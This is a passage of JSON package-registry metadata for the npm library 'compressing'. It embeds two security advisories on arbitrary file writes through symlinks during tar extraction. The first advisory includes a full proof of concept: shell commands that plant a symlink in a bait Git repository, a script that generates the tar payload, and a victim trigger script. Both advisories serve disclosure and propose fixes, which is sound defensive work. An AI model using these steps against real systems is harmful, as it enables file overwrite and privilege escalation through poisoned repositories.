","published_at":"2016-12-24T03:12:31.000Z","download_url":"https://codeload.github.com/node-modules/compressing/tar.gz/1.0.0","html_url":"https://github.com/node-modules/compressing/releases/tag/1.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/node-modules/compressing@1.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/node-modules%2Fcompressing/tags/1.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/node-modules%2Fcompressing/tags/1.0.0/manifests"}]},"repo_metadata_updated_at":"2026-09-29T10:41:33.685Z","dependent_packages_count":789,"downloads":487759,"downloads_period":"last-month","dependent_repos_count":657,"rankings":{"downloads":0.7583161816279365,"dependent_repos_count":0.7214456960244049,"dependent_packages_count":0.08824821686015086,"stargazers_count":3.3160329333100758,"forks_count":4.410356040999966,"docker_downloads_count":1.1845654638570702,"average":1.746494088779934},"purl":"pkg:npm/compressing","advisories":[{"uuid":"GSA_kwCzR0hTQS00YzNxLXg3MzUtajNyNc4ABVb0","url":"https://github.com/advisories/GHSA-4c3q-x735-j3r5","title":"Complete Bypass of CVE-2026-24884 Patch via Git-Delivered Symlink Poisoning in compressing","description":"**1. Executive Summary**\nThis report documents a critical security research finding in the `compressing` npm package (specifically tested on the latest **v2.1.0**). The core vulnerability is a **Partial Fix Bypass** of **CVE-2026-24884**.\n\nThe current patch relies on a purely logical string validation within the `isPathWithinParent` utility. This check verifies if a resolved path string starts with the destination directory string but fails to account for the **actual filesystem state**. By exploiting this \"Logical vs. Physical\" divergence, we successfully bypassed the security check using a Directory Poisoning technique (pre-existing symbolic links).\n\n**Key Findings:**\n\n* **Vulnerable Component:** `lib/utils.js` -\u003e `isPathWithinParent()`\n* **Flaw Type:** Incomplete validation (lack of recursive `lstat` checks).\n* **Primary Attack Vector:** **Supply Chain via Git Clone** The attack requires zero victim interaction beyond standard developer workflow (`git clone` + `node app.js`). Git natively preserves symlinks during clone, automatically deploying the malicious symlink to victim's machine without any additional attacker access.\n* **Result:** Successfully achieved arbitrary file writes outside the intended extraction root on the latest library version.\n\n**2. Deep-Dive: Technical Root Cause Analysis**\nThe vulnerability exists because of a fundamental disconnect between how the library **validates** a path and how the Operating System **executes** a write to that path.\n\n* **1. Logical Abstraction (The \"String\" World)**\nThe developer uses `path.resolve(childPath)` to sanitize input. In Node.js, `path.resolve` is a literal string manipulator. It calculates an absolute path by processing `..` and `.` segments relative to each other.\n\n* **The Limitation:** `path.resolve` does **NOT** look at the disk. It does not know if a folder named `config` is a real folder or a symbolic link.\n* **The Result:** If the extraction target is `/app/out` and the entry is c`onfig/passwd`, `path.resolve` returns `/app/out/config/passwd`. Since this string starts with `/app/out/`, the security check returns **TRUE**.\n\n* **2. Physical Reality (The \"Filesystem\" World)**\nWhen the library proceeds to write the file using `fs.writeFile('/app/out/config/passwd', data)`, the execution is handed over to the Operating System's filesystem kernel.\n\n* **The Redirection:** If the attacker has pre-created a symbolic link on the disk at `/app/out/config` pointing to `/etc`, the OS kernel sees the write request and follows the link.\n* **The Divergence:** The OS resolves the path to `/etc/passwd`. The \"Security Guard\" (the library) thought it was writing to a local config folder, but the \"Executioner\" (the OS) followed the link into a sensitive system area.\n\n* **3. Visual Logic Flow**\n\u003cimg width=\"6582\" height=\"3095\" alt=\"Malicious Archive Exploit-2026-04-12-135626\" src=\"https://github.com/user-attachments/assets/7c8235c3-f717-4296-b8e7-d6d498285fb2\" /\u003e\n\n* **4. Comparison with Industry Standards (`node-tar`)**\nA secure implementation (like `node-tar`) uses an **\"Atomic Check\"** strategy. Instead of trusting a string path, it iterates through every directory segment and calls `fs.lstatSync()`. If any segment is found to be a symbolic link, the extraction is halted immediately before any write operation is attempted. `compressing` lacks this critical recursive verification step.\n\n* **5. Git Clone as a Delivery Mechanism:** Git treats symlinks as first-class objects and restores them faithfully during clone. This means an attacker-controlled repository becomes a reliable delivery mechanism — the symlink is \"pre-planted\" automatically by git itself, removing any prerequisite of prior system access.\n\n**3. Comprehensive Attack Vector \u0026 Proof of Concept**\n\n**PoC Overview:** The Git Clone Vector This exploit leverages the fact that Git natively preserves symbolic links. By cloning a malicious repository, a victim unknowingly plants a \"poisoned path\" on their local disk. Why this is critical: \n* No social engineering required beyond a standard git clone.\n* The symlink is \"pre-planted\" by Git itself, removing the need for prior system access.\n* Victim's workflow remains indistinguishable from legitimate activity.\n\n**Step 1: Environment Preparation (Victim System)**\n\u003eTIP\n**Prerequisite:** Ensure you have Node.js and npm installed on your Kali Linux. If you encounter a `MODULE_NOT_FOUND` error for `tar-stream` or `compressing`, `run: npm install `compressing@2.1.0 tar-stream` in your current working directory.\n\nCreate a mock sensitive file to demonstrate the overwrite without damaging the actual OS.\n\n```\n# Workspace setup\nmkdir -p ~/poc-workspace\ncd ~/poc-workspace\n\n# 1. Create a fake sensitive file\nmkdir -p /tmp/fake_root/etc\necho \"root:SAFE_DATA_DO_NOT_OVERWRITE\" \u003e /tmp/fake_root/etc/passwd\n\n# 2. Install latest vulnerable library\nnpm install compressing@2.1.0 tar-stream\n```\n\n**Step 2: Attacker Side (Repo \u0026 Payload)**\n\n**2.1 Create the poisoned GitHub Repository**\n1. Create a repo named `compressing_poc_test` on GitHub.\n2. On your local machine, setup the malicious content:\n\n```\nmkdir compressing_poc_test\ncd compressing_poc_test\ngit init\n# CREATE THE TRAP: A symlink pointing to the sensitive target\nln -s /tmp/fake_root/etc/passwd config_file\n# Setup Git\ngit branch -M main\ngit remote add origin https://github.com/USERNAME/compressing_poc_test.git\n```\n\n**2.2 Generate the Malicious Payload**\nCreate a script `gen_payload.js` inside the parent folder (`~/poc-workspace`) to generate the exploit file:\n\n```\nconst tar = require('tar-stream');\nconst fs = require('fs');\nconst pack = tar.pack();\n// PAYLOAD: A plain file that matches the symlink name\npack.entry({ name: 'config_file' }, 'root:PWNED_BY_THE_SUPPLY_CHAIN_ATTACK_V2.1.0\\n');\npack.finalize();\npack.pipe(fs.createWriteStream('./payload.tar'));\nconsole.log('payload.tar generated successfully!');\n```\n\n**Run the script to create the payload:**\n\n```\nnode gen_payload.js\n```\n_This will create a **payload.tar** file in your current directory._\n\n**2.3 Push Bait \u0026 Payload to GitHub**\nNow, move the generated payload into your repo folder and push everything to GitHub:\n\n```\n# Move the payload into the repo folder\nmv ../payload.tar .\n# Add all files (config_file symlink and payload.tar)\ngit add .\ngit commit -m \"Add project updates and resource assets\"\ngit push -u origin main\n```\n\u003e For your convenience and easy reproduction, I have already created a malicious repository to simulate the attacker's setup. You can clone it directly without needing to create a new one: https://github.com/sachinpatilpsp/compressing_poc_test.git\n\n**Step 3: Victim Side (The Compromise)**\nThe victim clones the repo and runs an application that extracts the included `payload.tar`.\n\n```\n# 1. Simulate a developer cloning the repo\ncd ~/poc-workspace\n\n# In a real attack, the victim clones from your GitHub URL\ngit clone https://github.com/USERNAME/compressing_poc_test.git victim_app\ncd victim_app\n\n# 2. Create the Trigger script (victim_app.js)\n\ncat \u003c\u003cEOF \u003e victim_app.js\nconst compressing = require('compressing');\nasync function extractUpdate() {\n    console.log('--- Victim: Extracting Update Package ---');\n    try {\n        // This triggers the bypass because 'config_file' already exists as a symlink\n        await compressing.tar.uncompress('./payload.tar', './');\n        console.log('[+] Update Successful!');\n    } catch (err) {\n        console.error('[-] Error:', err);\n    }\n}\nextractUpdate();\nEOF\n\n# 3. VERIFY THE OVERWRITE\necho \"--- Before Exploit ---\"\ncat /tmp/fake_root/etc/passwd\n\n# 4. Run the victim_app.js\nnode victim_app.js\n\n# 5. After Exploit Run\necho \"--- After Exploit ---\"\ncat /tmp/fake_root/etc/passwd\n```\n\n**Why this bypass works**\n\n* **The Library's Logic:** `compressing` uses `path.resolve` on entry names and compares them string-wise with the destination directory.\n* **The Gap:** Because `path.resolve` does not check if intermediate directories are symlinks on disk, it treats `config_file` (the symlink) as a normal path inside the allowed directory.\n* **The Result:** The underlying `fs.writeFile` follows the existing symlink to the protected target (`/tmp/fake_root/etc/passwd`), bypassing all string-based security checks.\n\n\u003cimg width=\"733\" height=\"126\" alt=\"01_malicious_symlink_proof\" src=\"https://github.com/user-attachments/assets/a24b5844-8efd-4f5c-8ee6-9cbbffee6ceb\" /\u003e\n\n\u003cimg width=\"780\" height=\"111\" alt=\"02_malicious_payload_content\" src=\"https://github.com/user-attachments/assets/a20ef72b-35c9-4355-8583-08a3e9467d4a\" /\u003e\n\n\u003cimg width=\"888\" height=\"111\" alt=\"03_vulnerable_version_proof\" src=\"https://github.com/user-attachments/assets/5e6864ce-fe48-4327-be2f-1bea8e8ba800\" /\u003e\n\n\u003cimg width=\"921\" height=\"294\" alt=\"04_exploit_success_verification\" src=\"https://github.com/user-attachments/assets/3b4bc21e-55de-42b2-b819-8d7c0e90b055\" /\u003e\n\n**4. Impact Assessment**\n\n**What kind of vulnerability is it?**\nThis is an **Arbitrary File Overwrite** vulnerability caused by a **Symlink Path Traversal** bypass. Specifically, it is a \"Partial Fix\" bypass where a security patch meant to prevent directory traversal only validates path strings but ignores the filesystem state (symlinks).\n\n**Who is impacted?**\n**1. Developers \u0026 Organizations:** Any user of the `compressing` library (up to **v2.1.0**) who extracts untrusted archives into a working directory.\n\n**2. Supply Chain via Git Clone (Primary Vector):** Git natively restores symlinks during git clone. An attacker who controls or compromises any upstream repository can embed malicious symlinks. The victim's only required action is standard developer workflow clone and run. No social engineering or extra steps needed beyond trusting a repository.\n\n**3. Privileged Environments:** Systems where the extraction process runs as a high-privilege user (root/admin), as it allows for the overwriting of sensitive system files like `/etc/passwd` or `/etc/shadow`.\n\n**Impact Details**\n\n* **Privilege Escalation:** Gaining root access by overwriting system configuration files.\n* **Remote Code Execution (RCE):** Overwriting executable binaries or startup scripts (.bashrc, .profile) to run malicious code upon the next boot or login.\n* **Data Corruption:** Permanent loss or modification of application data and database files.\n* **Reputational Damage to Library:** Loss of trust in the compressing library's security architecture due to an incomplete patch for a known CVE.\n\n**5. Technical Remediation \u0026 Proposed Fix**\nTo completely fix this vulnerability, the library must transition from **String-based validation** to **State-aware validation**.\n\n**1. The Vulnerable Code (Current Incomplete Patch)**\nThe current logic in **lib/utils.js** only checks the path string:\n\n```\n// [VULNERABLE] Does not check if disk segments are symlinks\nfunction isPathWithinParent(childPath, parentPath) {\n  const normalizedChild = path.resolve(childPath);\n  const normalizedParent = path.resolve(parentPath);\n  // ... (omitted startsWith check)\n  return normalizedChild.startsWith(parentWithSep);\n}\n```\n**2. The Proposed Fix (Complete Mitigation)**\nThe library must recursively check every component of the path on the disk using `fs.lstatSync` to ensure no component is a symbolic link that redirects to a location outside the root.\n\n```\nconst fs = require('fs');\nconst path = require('path');\n/**\n * SECURE VALIDATION: Checks every segment of the path on disk\n * to prevent symlink-based directory poisoning.\n */\nfunction secureIsPathWithinParent(childPath, parentPath) {\n  const absoluteDest = path.resolve(parentPath);\n  const absoluteChild = path.resolve(childPath);\n  // Basic string check first\n  if (!absoluteChild.startsWith(absoluteDest + path.sep) \u0026\u0026 \n      absoluteChild !== absoluteDest) {\n    return false;\n  }\n  // RECURSIVE DISK CHECK\n  // Iteratively check every directory segment from the root to the file\n  let currentPath = absoluteDest;\n  const relativeParts = path.relative(absoluteDest, absoluteChild).split(path.sep);\n  for (const part of relativeParts) {\n    if (!part || part === '.') continue;\n    currentPath = path.join(currentPath, part);\n    try {\n      const stats = fs.lstatSync(currentPath);\n      // IF ANY COMPONENT IS A SYMLINK, REJECT IT\n      if (stats.isSymbolicLink()) {\n        throw new Error(`Security Exception: Symlink detected at ${currentPath}`);\n      }\n    } catch (err) {\n      if (err.code === 'ENOENT') break; // Path doesn't exist yet, which is fine\n      throw err;\n    }\n  }\n  return true;\n}\n```\n\n**3. Why and How it works:**\n\n* **Filesystem Awareness:** Unlike the previous fix, this code uses `fs.lstatSync`. It doesn't trust the string; it asks the Operating System, \"What is actually at this location?\".\n* **Segmented Verification:** By splitting the path and checking each part (`config`, then `config/file`), it catches the \"Poisoned Directory\" (`config -\u003e /etc`) before the final write happens.\n* **Bypass Prevention:** Even if the string check passes, the loop will detect the symlink at the `config` segment and throw a security exception, stopping the `fs.writeFile` before it can follow the link to `/etc/passwd`.\n* **Atomic Security:** This implementation ensures that the logical path and the physical path are identical, leaving no room for \"Divergence\" exploits.\n\n\u003e **Note:** For production, it is recommended to use the asynchronous `fs.promises.lstat` to prevent blocking the Node.js event loop during recursive checks.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-04-17T21:32:59.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.4,"cvss_vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","references":["https://github.com/node-modules/compressing/security/advisories/GHSA-4c3q-x735-j3r5","https://nvd.nist.gov/vuln/detail/CVE-2026-40931","https://github.com/advisories/GHSA-4c3q-x735-j3r5"],"source_kind":"github","identifiers":["GHSA-4c3q-x735-j3r5","CVE-2026-40931"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-04-17T22:00:08.914Z","updated_at":"2026-09-25T12:04:19.850Z","epss_percentage":0.00222,"epss_percentile":0.11296,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS00YzNxLXg3MzUtajNyNc4ABVb0","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS00YzNxLXg3MzUtajNyNc4ABVb0","packages":[{"ecosystem":"npm","package_name":"compressing","versions":[{"first_patched_version":"1.10.5","vulnerable_version_range":"\u003c= 1.10.4"},{"first_patched_version":"2.1.1","vulnerable_version_range":"\u003e= 2.0.0, \u003c= 2.1.0"}],"purl":"pkg:npm/compressing"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS00YzNxLXg3MzUtajNyNc4ABVb0/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1jYzhmLXhnOHYtNzJtM84ABR3r","url":"https://github.com/advisories/GHSA-cc8f-xg8v-72m3","title":"Compressing Vulnerable to Arbitrary File Write via Symlink Extraction","description":"# Arbitrary File Write via Symlink Extraction in `github.com/node-modules/compressing`\n\n## Brief Introduction\n\nThe `compressing` npm package extracts TAR archives while restoring symbolic links without validating their targets. \nBy embedding symlinks that resolve outside the intended extraction directory, an attacker can cause subsequent file entries to be written to arbitrary locations on the host file system.\n\nDepending on the extractor’s handling of existing files, this behavior may allow overwriting sensitive files or creating new files in security-critical locations.\n\n## Affected Component and Versions\n\n- **Component**: `github.com/node-modules/compressing`\n- **Affected Versions**: `\u003c= 1.10.3 || =2.0.0` \n\n## Vulnerability Details\n\n### Root Cause\n\n`compressing.tar.uncompress` sanitizes the destination paths of archive entries, but it does **not** restrict or validate the targets of symlinks contained in TAR archives. During extraction, the library creates those symlinks inside the output directory. Later entries that resolve through the symlink are written to the symlink target rather than the intended extraction root, enabling an arbitrary file write.\n\n### Impact\n\nAn attacker who can supply a crafted TAR archive can:\n\n- Cause files to be written outside the intended extraction directory (arbitrary file write via symlink traversal).\n\n- Write files to attacker-controlled paths on the host file system once symbolic links are followed during extraction.\n\n- In environments where extraction is performed with elevated privileges or targets executable paths, this may lead to code execution, privilege escalation, data corruption, or denial of service.\n\n## Reproduction\n\n### Environment\n\n- **OS**: Ubuntu 24.04\n- **Node.js**: v24.12.0\n- **compressing**: 2.0.0\n\n### Construct PoC Archive\n\nThe following pseudo-code demonstrates the attack logic:\n\n```python\nbase_dir = \"archive/\"\nwith tarfile.open(\"./poc_arbitrary_write.tar\", mode=\"w\") as tar:\n    add_regular_file(tar, base_dir + \"baseFile.txt\", \"base content\\n\")\n    add_symlink(tar, base_dir + \"myTmp\", \"/tmp\")\n    add_regular_file(tar, base_dir + \"myTmp/poc.txt\", \"Arbitrary File Write\\n\")\n```\n\n### Extract the Archive\n\n```javascript\nconst compressing = require('compressing');\n\nfunction untar(archiveName, destPath) {\n  return compressing.tar.uncompress(archiveName, destPath);\n}\n\n\nasync function main() {\n  const archivePath = process.argv[2];\n  const destPath = \"./output\";\n\n  if (archivePath \u0026\u0026 archivePath.endsWith(\".tar\")) {\n    await untar(archivePath, destPath);\n  }\n}\n\nmain();\n```\n\n### Attack Results\n\n\u003cimg width=\"547\" height=\"161\" alt=\"image\" src=\"https://github.com/user-attachments/assets/5ea12efd-0d3f-4f8a-8414-b3a5c72e153e\" /\u003e\n\n\nAfter extraction, the output directory contains a symlink pointing to `/tmp`. The file `poc.txt` is then written through the symlink to `/tmp/poc.txt`, demonstrating an arbitrary file write outside the extraction directory.\n\n## Summary\n\n`compressing` restores symlinks from TAR archives without validating their targets. By combining a malicious symlink with a subsequent file entry, an attacker can redirect extracted files to arbitrary locations on the host.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-02-03T17:42:18.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.4,"cvss_vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","references":["https://github.com/node-modules/compressing/security/advisories/GHSA-cc8f-xg8v-72m3","https://github.com/node-modules/compressing/commit/8d16c196c7f1888fc1af957d9ff36117247cea6c","https://github.com/node-modules/compressing/commit/ce1c0131c401c071c77d5a1425bf8c88cfc16361","https://nvd.nist.gov/vuln/detail/CVE-2026-24884","https://github.com/advisories/GHSA-cc8f-xg8v-72m3"],"source_kind":"github","identifiers":["GHSA-cc8f-xg8v-72m3","CVE-2026-24884"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-02-03T18:00:08.078Z","updated_at":"2026-09-28T20:05:41.732Z","epss_percentage":0.00348,"epss_percentile":0.25577,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1jYzhmLXhnOHYtNzJtM84ABR3r","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1jYzhmLXhnOHYtNzJtM84ABR3r","packages":[{"ecosystem":"npm","package_name":"compressing","versions":[{"first_patched_version":"1.10.4","vulnerable_version_range":"\u003c= 1.10.3"},{"first_patched_version":"2.0.1","vulnerable_version_range":"= 2.0.0"}],"purl":"pkg:npm/compressing"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1jYzhmLXhnOHYtNzJtM84ABR3r/related_packages","related_advisories":[]}],"docker_usage_url":"https://docker.ecosyste.ms/usage/npm/compressing","docker_dependents_count":23,"docker_downloads_count":11715,"usage_url":"https://repos.ecosyste.ms/usage/npm/compressing","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/npm/compressing/dependencies","status":null,"funding_links":[],"critical":null,"issue_metadata":{"last_synced_at":"2026-09-27T09:18:00.770Z","issues_count":67,"pull_requests_count":74,"avg_time_to_close_issue":43832447.21212121,"avg_time_to_close_pull_request":12301945.583333334,"issues_closed_count":33,"pull_requests_closed_count":60,"pull_request_authors_count":25,"issue_authors_count":65,"avg_comments_per_issue":1.2388059701492538,"avg_comments_per_pull_request":2.6216216216216215,"merged_pull_requests_count":47,"bot_issues_count":1,"bot_pull_requests_count":14,"past_year_issues_count":2,"past_year_pull_requests_count":22,"past_year_avg_time_to_close_issue":null,"past_year_avg_time_to_close_pull_request":7405864.133333334,"past_year_issues_closed_count":0,"past_year_pull_requests_closed_count":15,"past_year_pull_request_authors_count":4,"past_year_issue_authors_count":2,"past_year_avg_comments_per_issue":0.0,"past_year_avg_comments_per_pull_request":2.4545454545454546,"past_year_bot_issues_count":1,"past_year_bot_pull_requests_count":13,"past_year_merged_pull_requests_count":11,"issues_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories/node-modules%2Fcompressing/issues","maintainers":[{"login":"fengmk2","count":21,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/fengmk2"},{"login":"popomore","count":5,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/popomore"},{"login":"bytemain","count":2,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/bytemain"},{"login":"atian25","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/atian25"},{"login":"killagu","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/killagu"}],"active_maintainers":[{"login":"fengmk2","count":7,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/fengmk2"},{"login":"bytemain","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/bytemain"}]},"versions_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/compressing/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/compressing/version_numbers","latest_version_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/compressing/latest_version","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/compressing/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/compressing/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/compressing/codemeta","maintainers":[{"uuid":"fengmk2","login":"fengmk2","name":null,"email":"fengmk2@gmail.com","url":null,"packages_count":2062,"html_url":"https://www.npmjs.com/~fengmk2","role":null,"created_at":"2022-11-11T20:08:47.240Z","updated_at":"2022-11-11T20:08:47.240Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/maintainers/fengmk2/packages"},{"uuid":"popomore","login":"popomore","name":null,"email":"sakura9515@gmail.com","url":null,"packages_count":215,"html_url":"https://www.npmjs.com/~popomore","role":null,"created_at":"2022-11-11T20:08:47.287Z","updated_at":"2022-11-11T20:08:47.287Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/maintainers/popomore/packages"},{"uuid":"shaoshuai0102","login":"shaoshuai0102","name":null,"email":"shaoshuai0102@gmail.com","url":null,"packages_count":22,"html_url":"https://www.npmjs.com/~shaoshuai0102","role":null,"created_at":"2022-11-11T20:08:47.233Z","updated_at":"2022-11-11T20:08:47.233Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/maintainers/shaoshuai0102/packages"}]}